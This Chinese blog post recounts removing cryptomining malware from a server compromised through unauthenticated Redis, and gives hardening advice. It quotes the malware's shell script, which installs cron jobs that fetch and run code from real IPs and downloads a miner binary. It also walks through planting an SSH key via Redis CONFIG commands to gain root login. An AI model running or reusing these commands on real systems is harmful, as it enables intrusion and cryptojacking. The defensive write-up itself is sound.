Redis配置错误导致主机被黑

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/goldenfish1919/article/details/79959791

现象以及如何处理参考:http://blog.51cto.com/hld1992/2047658

公司有台做voip的服务器最近CPU总是跑满,这机器自从交给厂家搭好环境后基本就没怎么管它,于是进去查看进程,top了下(见下图)
记一次服务器被挖矿程序入侵的解决过程
这个叫wnTKYg的进程很诡异,已经把CPU吃光了,上网一查,原来是中了挖矿的马。(啊,我的天。这只是一个单核1G内存的阿里云主机)既然被入侵了,那就得干掉它,下面是解决过程:

1:第一步要先找到这个wnTKYg文件实体,对了还有一个叫ddg.2020的进程。

[root@alitest ~]$ find / -name wnTKYg
/tmp/wnTKYg
[root@alitest ~]$ find / -name ddg*
/tmp/ddg.2020

2:接着把这两个文件的可执行权限拿掉。

[root@alitest ~]$ cd /tmp
[root@alitest /tmp]$ chmod -x ddg.2020 wnTKYg

3:杀掉这该死的进程。

[root@alitest /tmp]$ ps -ef | grep -v grep | egrep 'wnTKYg|ddg' | awk '{print $2}' | xargs kill -9

4:清除无用的定时任务。

[root@alitest /tmp]$ crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

这是挖矿程序生成的定时任务,不清除掉待会进程又起来了。

[root@alitest /tmp]$ echo > /var/spool/cron/root

因为这台机器上没有做定时任务,所以就直接清除掉了,如果有其他在用的定时任务,不要这样哦。

5:删除挖矿程序。

[root@alitest /tmp]$ rm -f ddg.2020 wnTKYg

6:清除.ssh/下的公钥文件。

[root@alitest ~/.ssh]$ cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUGqxNBCvqd+VNZTcSjyV3bs67sqwXSV+XztaY9QN/DDfeXEfWztdaXPbJvmLE34G
.........
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxV
.................

这台机器并没有上传过公钥文件,所以这就是入侵者留下的咯,删掉删掉。

[root@alitest ~/.ssh]$ rm -f authorized_keys

至此,木马就已经清理完毕了。

附一下病毒的完整的shell:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddgs.3011" ]; then
    curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill参考

原因参考下这个:https://blog.csdn.net/zjcjava/article/details/78558392

最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵,请关注!

一、漏洞发布日期

2015年11月10日

二、已确认被成功利用的软件及系统

对公网开放,且未启用认证的redis服务器。

三、漏洞描述

最近Redis服务被曝出因配置不当,被攻击者进行恶意利用。 
黑客借助redis内置命令,可以对现有数据进行恶意清空。 
如果Redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。

四、建议修复方案(需要重启redis才能生效)

1、绑定需要访问数据库的IP 
修改 redis.conf 中的 “bind 127.0.0.1” ,改成需要访问此数据库的IP地址。

2、设置访问密码 
在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密码。

3、修改redis服务运行账号 
请以较低权限账号运行redis服务,且禁用该账号的登录权限。

漏洞的原理参考:https://bbs.ichunqiu.com/thread-7069-1-1.html

1. 漏洞概述(知道创宇)
Redis默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功在Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
默认redis启动的用户如果没有修改,会以root方式启动,这样就redis就可以在任意位置写入公钥文件,继而可以完成远程控制。

2. 漏洞利用原理
a. redis监听在外网的6379端口,且无密码访问
b. 连接redis,可以指定redis的配置文件路径
c. 连接redis,将公钥以key值的方式写入redis,并且保存为authoried_keys
d. 远程ssh无密码连接

3.漏洞利用过程
a. 目标主机:192.168.1.105
b. 攻击主机:192.168.1.100

c. 远程redis连接,查看一下当前key

  1. tusmdeMacBook-Pro-9:ssh tusm$ redis-cli -h 192.168.1.105
  2. 192.168.1.105:6379> KEYS *
  3. (empty list or set)
  4. 192.168.1.105:6379>

d. 生成公私钥文件

tusmdeMacBook-Pro-9:/ tusm$ mkdir -pv /tmp/ssh
tusmdeMacBook-Pro-9:/ tusm$ cd /tmp/ssh/
tusmdeMacBook-Pro-9:ssh tusm$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/tusm/.ssh/id_rsa): /tmp/ssh/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /tmp/ssh/id_rsa.
Your public key has been saved in /tmp/ssh/id_rsa.pub.
The key fingerprint is:
15:bc:01:d1:57:c9:c2:9a:60:c9:6c:fa:fe:f8:41:65 tusm@tusmdeMacBook-Pro-9.local
The key's randomart image is:
+--[ RSA 2048]----+
|       oo*.. o.. |
|        B +.+ o  |
|       + ..*E.   |
|      .  .+o     |
|       .S .      |
|        ..       |
|       .  .      |
|        .. .     |
|        .oo      |
+-----------------+
tusmdeMacBook-Pro-9:ssh tusm$ ls
id_rsa      id_rsa.pub
tusmdeMacBook-Pro-9:ssh tusm$ (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > kali.txt

tusmdeMacBook-Pro-9:ssh tusm$ cat kali.txt 


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuRr4Adw53lIw4bA0YIocJ56o2IUcPTXESIU4d/I6peQLH9XN+NrDcRUBixocr8mjpDssNaNW8LKrE+JvlrFGU3p93gnVDnj2jfhYSWGvx35u9+pokCCZmU40zq8rOx9Bo37v1klBCZ+95LFTugbNkkNJDjNA7WsJtouVxGCcyK7GfNsNaWgCRqJ3O55z/ie4XN/AC3Qj2Qh1DoannPeudIaH59Qa7k2NGbtzp98HIDhSZuXp9RqQ2wIicAgScKU9qpV7PSvhLj3H7AhHBM4Q+GY+/yz2oVdVnK24fAek4oJ6dkZK95na22Sf3y6mDUvuPaehKt6rYb5loekRbVBxz tusm@tusmdeMacBook-Pro-9.local

tusmdeMacBook-Pro-9:ssh tusm$ 

e. 将公钥以key值的形式写入redis

tusmdeMacBook-Pro-9:ssh tusm$ cat kali.txt |redis-cli -h 192.168.1.105 -x set crackit
OK
tusmdeMacBook-Pro-9:ssh tusm$ redis-cli -h 192.168.1.105
192.168.1.105:6379> KEYS *
1) "crackit"
192.168.1.105:6379> GET crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuRr4Adw53lIw4bA0YIocJ56o2IUcPTXESIU4d/I6peQLH9XN+NrDcRUBixocr8mjpDssNaNW8LKrE+JvlrFGU3p93gnVDnj2jfhYSWGvx35u9+pokCCZmU40zq8rOx9Bo37v1klBCZ+95LFTugbNkkNJDjNA7WsJtouVxGCcyK7GfNsNaWgCRqJ3O55z/ie4XN/AC3Qj2Qh1DoannPeudIaH59Qa7k2NGbtzp98HIDhSZuXp9RqQ2wIicAgScKU9qpV7PSvhLj3H7AhHBM4Q+GY+/yz2oVdVnK24fAek4oJ6dkZK95na22Sf3y6mDUvuPaehKt6rYb5loekRbVBxz tusm@tusmdeMacBook-Pro-9.local\n\n\n\n"
192.168.1.105:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
192.168.1.105:6379> CONFIG set dir /root/.ssh/
OK
192.168.1.105:6379> config set dbfilename "authorized_keys"
OK
192.168.1.105:6379> save
OK
192.168.1.105:6379> CONFIG set dir /var/lib/redis
OK
192.168.1.105:6379> save
OK
#这样就把公钥写进受害者主机的/root/.ssh下,并且名称为authorized_keys,了解ssh的都会知道,这样我们就完成了远程无密码访问。

f. 远程登录

tusmdeMacBook-Pro-9:ssh tusm$ ssh -i id_rsa root@192.168.1.105
Last login: Sun Jun  5 08:55:10 EDT 2016 from 192.168.1.100 on pts/2
Linux kali 4.3.0-kali1-amd64 #1 SMP Debian 4.3.3-7kali2 (2016-01-27) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@kali:~#

备注:这里redis漏洞之所以能够利用成功,一是无授权访问,而是以root用户运行,这样就可以跳过猜执行用户,而直接将公钥些人root下面,如果是以普通用户当然也能猜到,但是会耗费很大的力气。而且如果默认运行的用户是没有登录权限的,也是无法利用成功的。还有,即使这些条件都满足,但是我们做了防火墙策略,只允许某些IP地址登录,也是可以避免这种提权的,只是redis服务器的数据可以任意更改。

如何创建没有登录权限的用户参考:https://www.linuxidc.com/Linux/2012-07/64531.htm

第一种情况:还未建立用户时,可以使用以下命令

groupadd groupname

useradd -g groupname username -s /bin/false   //-s为默认shell,不给shell,也就不能登录

第二种情况:当用户已经建立了,在建立时没有控制,现在需要取消用户登录权限,可以使用以下命令

切换到root用户,修改/etc/passwd文件

vi /etc/passwd

找到你要修改的用户所在的那一行,例如username:x:502:502::/home/username:/bin/bash,修改为以下代码

username:x:502:502::/home/username:/sbin/nologin

如何利用非root用户安装redis:

su redis

cd

cp /usr/local/redis/redis.conf  ./ #拷贝配置文件

vi ./redis.conf 

bind 127.0.0.1
port 16379
requirepass 123456
daemonize yes
databases 16
dir /home/redis
logfile redis.log
pidfile redis_16379.pid
dbfilename dump.rdb
rdbcompression yes
rdbchecksum yes
stop-writes-on-bgsave-error yes
appendonly yes

appendfilename "appendonly.aof"

redis-server ./redis.conf

加固的方法:

(1)port不要使用默认的6379

(2)bind到专用ip

(3)requirepass设置密码

(4)使用无登录权限的用户运行redis

(5)禁用config命令

rename-command config “”

rename-command info infos

阅读更多

没有更多推荐了,返回首页